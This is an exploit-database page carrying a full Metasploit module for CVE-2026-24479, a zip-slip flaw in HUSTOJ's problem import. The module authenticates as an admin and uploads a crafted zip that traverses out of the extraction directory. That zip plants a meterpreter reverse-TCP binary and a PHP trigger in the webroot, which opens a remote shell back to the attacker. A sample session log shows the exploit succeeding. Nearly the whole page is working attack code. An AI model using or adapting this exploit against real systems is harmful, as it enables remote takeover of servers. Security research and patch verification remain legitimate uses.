Share
## https://sploitus.com/exploit?id=PACKETSTORM:220383
# Exploit Title: HUSTOJ Zip-Slip v26.01.24 -  RCE
    # Date: 2026-02-14
    # Exploit Author: Marshall Whittaker / oxagast
    # Vendor Homepage: https://github.com/zhblue/hustoj
    # Software Link: http://123.158.38.129:8090/livecd/HUSTOJ25.05.iso
    (LiveCD, or see above git repo)
    # Version: Before v26.01.24
    # Tested on: Ubuntu
    # CVE:  CVE-2026-24479
    
    
    
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    #       This payload is configured for:
    #       msfvenom -p linux/x86/meterpreter_reverse_tcp --format elf
    #
    #  Patch:
    #        $file_name = $path.zip_entry_name($dir_resource);
    #        $file_name=str_replace('../', '', $file_name);
    #        $file_path = substr($file_name,0,strrpos($file_name, "/"));
    #
    # msf exploit(local/test/hustoj_problem_import_rce) > exploit
    # [*] Started reverse TCP handler on 10.0.1.35:4444
    # [*] Running automatic check ("set AutoCheck false" to disable)
    # [+] The target is vulnerable.
    # [+] Payload generated!
    # [*] Random payload tag is: 886b0 ...
    # [+] Zip file generated!
    # [+] Connected to the target webserver!
    # [+] Logged in successfully!
    # [*] Checking if this account has administrative privileges...
    # [+] This is an admin account!
    # [*] Uploading the payload...
    # [+] Accessed the problem import page!
    # [+] Payload uploaded!...
    # [*] Waiting on files to be extracted serverside...
    # [*] This is where the zipslip happens...
    # [*] Triggering the php script...
    # [*] Meterpreter session 21 opened (10.0.1.35:4444 -> 10.0.1.23:51080) at 2026-02-13 06:01:07 -0500
    # [*] Cleaning up the payload caller and shell files...
    # [+] Boom!! Have fun!
    #
    # meterpreter >
    #
    #
    require 'msf/core'
    require 'nokogiri'
    require 'digest/md5'
    
    # Metasploit module for exploiting HUSTOJ problem import RCE (CVE-2026-24479)
    class Metasploit3 < Msf::Exploit::Remote
      Rank = ExcellentRanking
      include Msf::Exploit::Remote::HttpClient
      prepend Msf::Exploit::Remote::AutoCheck
      def initialize(info = {})
        super(update_info(info,
                          'Name' => 'Authenticated admin can upload crafted zip file for RCE',
                          'Description' => <<~DESC,
                            A user with administrative privileges can abuse the problem_import_qduoj.php CGI script
                            using a crafted zip file (zip-slip) to traverse backwards through the filesystem to the
                            webroot, where they can extract a PHP file containing a shell to get full RCE in the
                            context of the webserver.
                          DESC
                          'Author' => [
                            'Marshall Whittaker',
                            'LoTuS and friends',
                            'ling101w'
                          ],
                          'License' => MSF_LICENSE,
                          'ARCH' => [ARCH_X86],
                          'References' => [
                            ['URL', 'https://github.com/oxagast/oxasploits/blob/JoshuaJohnWard/exploits' \
                             '/CVE-2026-24479/hustoj_problem_import_rce.rb'],
                            ['URL', 'https://github.com/zhblue/hustoj/commit/902bd09e6d0011fe89cd84d423' \
                             '6899314b33101f'],
                            ['URL', 'https://github.com/zhblue/hustoj/security/advisories/GHSA-xmgg-2rw4-7fxj'],
                            ['CVE', '2026-24479'],
                            ['CWE', '22']
                          ],
                          'Platform' => 'linux',
                          'Targets' => [
                            [
                              'HUSTOJ < v26.01.24 (commit 89044beb4cea758a353fd133895dec76822f4ddc)',
                              { 'Privileged' => false }
                            ]
                          ],
                          'DefaultOptions' => {
                            'PAYLOAD' => 'linux/x86/meterpreter_reverse_tcp'
                          },
                          'Notes' => {
                            'Stability' => [CRASH_SAFE],
                            'Reliability' => [REPEATABLE_SESSION],
                            'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
                          },
                          'DisclosureDate' => '2026-01-26',
                          'DefaultTarget' => 0))
        register_options(
          [
            Opt::RPORT(80),
            Opt::LPORT(4444),
            OptString.new('RHOST', [true, "The target machine's IP", '']),
            OptString.new('LHOST', [true, "This machine's IP", '']),
            OptString.new('USERNAME', [true, "The HUSTOJ administrative user's username", 'admin']),
            OptString.new('PASSWORD', [true, "The HUSTOJ administrative user's password", '']),
            OptString.new('DropFile', [true, 'The name of the file to drop on the target (without extension)', 'msf']),
            OptInt.new('TRIGGER_WAIT', [true, 'Number of seconds to wait for shell call', 2]),
            OptInt.new('traverse_limit', [true, 'Number of ../ traversals to include in zip slip paths', 6])
          ], self.class
        )
        register_advanced_options([
                                    OptBool.new('HANDLER',
                                                [true, 'Start an exploit/multi/handler job to receive the connection',
                                                 true])
                                  ])
        deregister_options('VHOST', 'Proxies', 'RHOSTS', 'SSL')
      end
    
      # Check if the target is likely vulnerable
      def check
        res = send_request_cgi(
          'uri' => '/include/reinfo.js',
          'method' => 'GET',
          'ctype' => 'application/javascript'
        )
        return Exploit::CheckCode::Unknown if res.nil?
        return Exploit::CheckCode::Appears if res.code != 200
        return Exploit::CheckCode::Detected if res.code == 200 &&
                                               res.body.include?('function escapeHtml(str) {')
        return Exploit::CheckCode::Vulnerable if res.code == 200 &&
                                                 !res.body.include?('function escapeHtml(str) {')
    
        Exploit::CheckCode::Safe
      end
    
      # Authenticate as admin and return session cookies
      def login(user, pass)
        res = send_request_cgi(
          {
            'uri' => '/',
            'method' => 'GET',
            'keep_cookies' => true,
            'ctype' => 'text/html'
          }, 3
        )
        if res && res.code == 200
          print_good("Connected to the target webserver!         #{datastore['RHOST']}:#{datastore['RPORT']}")
        else
          fail_with(
            Failure::Unreachable,
            'Failed to connect to the target webserver!'
          )
        end
        cook = res.get_cookies
        send_request_cgi(
          'uri' => '/csrf.php',
          'cookies' => cook,
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        send_request_cgi(
          'uri' => '/loginpage.php',
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        res = send_request_cgi(
          'uri' => '/csrf.php',
          'cookies' => cook,
          'method' => 'GET',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        doc = Nokogiri::HTML(res.body)
        csrf = doc.css('input[name="csrf"]').first['value']
        send_request_cgi(
          'method' => 'POST',
          'uri' => '/login.php',
          'cookies' => cook,
          'keep_cookies' => true,
          'ctype' => 'application/x-www-form-urlencoded',
          'vars_post' => {
            'user_id' => user,
            'password' => Digest::MD5.hexdigest(pass),
            'csrf' => csrf
          }
        )
    
        # Check if login was successful
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/modifypage.php',
          'cookies' => cook,
          'keep_cookies' => true
        )
        if res && res.code == 200 && res.body.include?('userinfo.php')
          stars = '*' * pass.length
          print_good("Logged in successfully!                    #{user}:#{stars}")
        else
          fail_with(
            Failure::BadConfig,
            'Failed to authenticate! Check credentials.'
          )
        end
    
        # Check if the account has admin privileges
        res = send_request_cgi(
          'method' => 'GET',
          'uri' => '/admin/menu2.php',
          'cookies' => cook,
          'keep_cookies' => true
        )
        if res && res.code == 200 && res.body.include?('problem_import.php')
          print_good('This is an admin account!                  res.body includes problem_import.php')
        else
          print_error('This does not appear to be an admin account! Attempting to continue,')
          print_error('   but the exploit may fail at the payload upload stage...')
        end
        cook
      end
    
      # Upload the malicious zip payload using the admin session
      def upload_payload(zip_dat, rand_tag, cook, dds)
        zip_size_kb = (zip_dat.length / 1024.0).round(2)
        print_status("Uploading the payload...                   #{zip_size_kb}kb")
        # Access the problem import page to get the postkey
        res = send_request_cgi(
          'method' => 'GET',
          'cookies' => cook,
          'uri' => '/admin/problem_import.php',
          'keep_cookies' => true,
          'ctype' => 'text/html'
        )
        if res && res.code == 200 && res.body.include?('problem_import_qduoj.php')
          print_good('Accessed the problem import page!          /admin/problem_import.php')
        else
          fail_with(
            Failure::UnexpectedReply,
            'Failed to access the problem import page!'
          )
        end
        doc = Nokogiri::HTML(res.body)
        postkey_input = doc.at_css('input[name="postkey"]')
        postkey = postkey_input ? postkey_input['value'] : nil
        fail_with(Failure::UnexpectedReply, 'Failed to retrieve the postkey!') if postkey.nil? || postkey.empty?
        form_boundary = "----WebKitFormBoundary#{rand_tag}"
        form_data = <<~FORMDATA
          --#{form_boundary}
          Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
          Content-Type: application/zip
    
          #{zip_dat}
          --#{form_boundary}
          Content-Disposition: form-data; name=postkey
    
          #{postkey}
          --#{form_boundary}--
        FORMDATA
        res = send_request_cgi(
          'method' => 'POST',
          'uri' => '/admin/problem_import_qduoj.php',
          'cookies' => cook,
          'keep_cookies' => true,
          'ctype' => "multipart/form-data; boundary=#{form_boundary}",
          'data' => form_data
        )
        if res && res.code == 200
          print_good("Payload uploaded!                          #{datastore['dropfile']}.zip")
        else
          print_error('Failed to upload the payload, trying again for a different revision...')
          form_data = <<~FORMDATA
            --#{form_boundary}
            Content-Disposition: form-data; name="fps"; filename="#{datastore['dropfile']}.zip"
            Content-Type: application/zip
    
            #{zip_dat}
            --#{form_boundary}
          FORMDATA
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => '/admin/problem_import_qduoj.php',
            'cookies' => cook,
            'keep_cookies' => true,
            'ctype' => "multipart/form-data; boundary=#{form_boundary}",
            'data' => form_data
          )
          if res && res.code == 200
            print_good("Payload uploaded!           #{datastore['dropfile']}.zip")
          else
            fail_with(Failure::UnexpectedReply, 'Failed to upload the payload!')
          end
        end
        print_status("This is where the zipslip happens...       #{dds} (levels: #{datastore['traverse_limit']})")
      end
    
      # Trigger the uploaded PHP shell to execute the payload
      def trigger_sploit(rand_tag)
        print_status("Triggering the php script...               #{datastore['dropfile']}-#{rand_tag}.php")
        send_request_raw(
          {
            'uri' => "/#{datastore['dropfile']}-#{rand_tag}.php",
            'ctype' => 'text/html',
            'method' => 'GET'
          },
          datastore['TRIGGER_WAIT']
        )
      end
    
      # Clean up dropped files after exploitation
      def cleanup
        super
        send_request_raw(
          {
            'uri' => '/cleanup-msf.php',
            'ctype' => 'text/html',
            'method' => 'GET'
          }
        )
        print_status('Cleaning up the payload caller and shell files...')
        print_good('Boom!! Have fun!') unless framework.sessions.length.zero?
      end
    
      # Main exploit logic
      def exploit
        # Generate the payload ELF binary
        pay = framework.modules.create(datastore['payload'])
        pay.datastore['LHOST'] = datastore['LHOST']
        pay.datastore['RHOST'] = datastore['RHOST']
        pay.datastore['LPORT'] = datastore['LPORT']
        shell_gend = pay.generate_simple({ 'Format' => 'elf' })
        if shell_gend == ''
          fail_with(
            Failure::PayloadFailed,
            'Payload generation failed!  Try a different payload?'
          )
        end
        print_good("Payload generated!                         #{datastore['payload']}")
    
        # Generate a random tag for file uniqueness
        rand_tag = '%05x' % rand(0xfffff + 1)
        print_status("Random payload tag                         #{rand_tag}")
    
        # PHP script to call the ELF payload
        shell_caller = "<?php chmod('/tmp/#{datastore['dropfile']}-#{rand_tag}', 0700); system('/tmp/#{datastore['dropfile']}-#{rand_tag}'); ?>"
        # PHP script to clean up dropped files
        cleanup_caller =   "<?php unlink('/tmp/#{datastore['dropfile']}-#{rand_tag}'); unlink('/home/judge/src/web/#{datastore['dropfile']}" \
                           "-#{rand_tag}.php'); unlink('/home/judge/src/web/cleanup-msf.php'); ?>"
        dds = '../' * datastore['traverse_limit'] # Directory traversal string for zipslip
        # Files to include in the malicious zip (zipslip paths for traversal)
        files = [
          { data: shell_gend, fname: "#{dds}tmp/#{datastore['dropfile']}-#{rand_tag}" },
          { data: shell_caller, fname: "#{dds}home/judge/src/web/#{datastore['dropfile']}-#{rand_tag}.php" },
          { data: cleanup_caller, fname: "#{dds}home/judge/src/web/cleanup-msf.php" },
          { data: '{}', fname: 'problem_1010.json' },
          { data: '', fname: 'problem_1010/1.in' },
          { data: '', fname: 'problem_1010/1.out' }
        ]
        # Create the malicious zip archive
        zip_dat = Msf::Util::EXE.to_zip(files)
        fail_with(Failure::Unknown, 'Zip generation failed!') if zip_dat.empty?
        print_good("Zip file generated!                        Files: #{files.length}")
    
        # Authenticate and upload the payload
        cookies = login(datastore['USERNAME'], datastore['PASSWORD'])
        upload_payload(zip_dat, rand_tag, cookies, dds)
        # Trigger the PHP shell to execute the payload
        trigger_sploit(rand_tag)
      end
    end